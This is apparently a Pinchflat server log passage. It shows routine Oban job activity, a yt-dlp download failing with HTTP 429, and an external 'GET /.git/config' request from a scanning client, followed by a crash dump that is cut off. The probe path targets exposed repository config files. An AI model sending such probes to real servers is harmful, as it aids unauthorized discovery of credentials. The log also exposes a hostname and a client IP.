00:28:47.705 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.379 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:17.707 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:47.709 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.379 [info] {"source":"oban","duration":192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:17.711 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:47.713 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.380 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:17.715 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:47.717 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.381 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:17.719 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:47.721 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.383 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:17.723 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:47.725 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.383 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:17.727 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:47.729 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.384 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:17.731 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:34.313 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784867734313282331,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:35:34.313 [debug] QUERY OK source="media_items" db=0.1ms idle=589.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 00:35:34.313 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:35:34.314 [debug] QUERY OK source="sources" db=0.1ms idle=589.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:35:34.314 [debug] QUERY OK source="media_profiles" db=0.1ms idle=590.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:35:34.314 [debug] QUERY OK source="media_items" db=0.1ms idle=146.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 00:35:34.315 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 00:35:34.315 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:35:34.315 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:34.316 [debug] Running yt-dlp command for action: get_downloadable_status 00:35:34.316 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:34.316 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:34.316 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:34.316 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/42/05/4205069b8b3d6e39ceb91586b2ac8150fc24c70652f7409c145fa1e6a01ff072.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:35:36.341 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/42/05/4205069b8b3d6e39ceb91586b2ac8150fc24c70652f7409c145fa1e6a01ff072.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:35:36.341 [debug] Running yt-dlp command for action: download 00:35:36.342 [debug] QUERY OK source="settings" db=0.3ms idle=617.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:36.342 [debug] QUERY OK source="settings" db=0.1ms idle=618.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:36.342 [debug] QUERY OK source="settings" db=0.2ms idle=618.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:35:36.342 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a8/cb/a8cb1830d23854233f8d3b7b290b49ab95e0e085e264b5b586dd65b09f4418e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:35:39.143 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a8/cb/a8cb1830d23854233f8d3b7b290b49ab95e0e085e264b5b586dd65b09f4418e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 00:35:39.143 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 00:35:39.306 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4830401,"event":"job:exception","queue_time":844889,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:35:47.733 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.386 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:17.735 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:47.736 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.387 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:17.738 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:47.741 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.387 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:17.744 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:47.746 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.388 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:17.749 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:47.751 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.390 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:17.754 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:47.756 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.390 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:17.758 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:47.760 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.391 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:17.761 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:47.762 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.392 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:17.763 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:47.764 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.393 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:17.765 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:47.766 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.394 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:17.767 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:47.768 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.395 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:17.769 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:47.770 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.396 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:17.771 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:47.772 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.397 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:17.773 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:47.774 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.398 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:17.775 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:47.776 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.399 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:17.777 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:47.778 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.400 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:17.779 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:47.780 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.401 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:17.781 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:47.782 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.402 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:17.783 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:47.784 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.403 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:17.785 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:47.786 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.405 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:17.787 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:47.788 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.405 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:17.789 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:47.790 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.407 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:17.791 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:47.792 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.407 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:17.793 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:47.794 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.408 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:17.795 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:43.640 [info] GET /.git/config 00:59:43.641 [debug] QUERY OK source="settings" db=0.2ms idle=1916.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:43.641 [debug] QUERY OK source="settings" db=0.1ms idle=1917.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:43.641 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:59:43.641 [error] #PID<0.3256.0> running PinchflatWeb.Endpoint (connection #PID<0.3255.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3255.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 52744}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36", "x-forwarded-for" => "43.228.157.102", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3256.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"}, {"x-forwarded-for", "43.228.157.102"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUhEN1ud2YETT4AAPwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3255.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 52744}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36", "x-forwarded-for" => "43.228.157.102", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3255.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 52744}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36", "x-forwarded-for" => "43.228.157.102", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3256.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"}, {"x-forwarded-for", "43.228.157.102"}, {"x-forwarded-host", 